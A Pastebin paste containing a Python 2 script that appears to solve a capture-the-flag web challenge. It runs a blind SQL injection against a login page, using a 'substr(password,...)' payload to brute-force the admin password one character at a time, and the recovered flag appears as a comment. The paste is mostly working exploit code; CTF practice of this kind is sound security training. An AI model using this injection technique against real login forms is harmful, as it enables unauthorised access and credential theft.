Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import urllib2, urllib
- def request(url,data,cookie):
- headers = {"Cookie": cookie}
- req = urllib2.Request(url, data, headers)
- response = urllib2.urlopen(req).read()
- return response
- url = "http://arrive.chal.mmactf.link/login.cgi"
- cookie = "session=XXX"
- flag = "MMA{"
- data = "username=admin' and substr(password,1,%d)='%s'-- -&password=XXX"
- charsets = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}0123456789_@#$%^&*!"
- while 1:
- for c in charsets:
- res = request(url,data%(len(flag)+1,flag+c),cookie)
- if "Congratulations" in res:
- flag+=c
- print flag
- if c == "}"
- break
- print flag
- # MMA{cats_alice_band}
Advertisement
Add Comment
Please, Sign In to add comment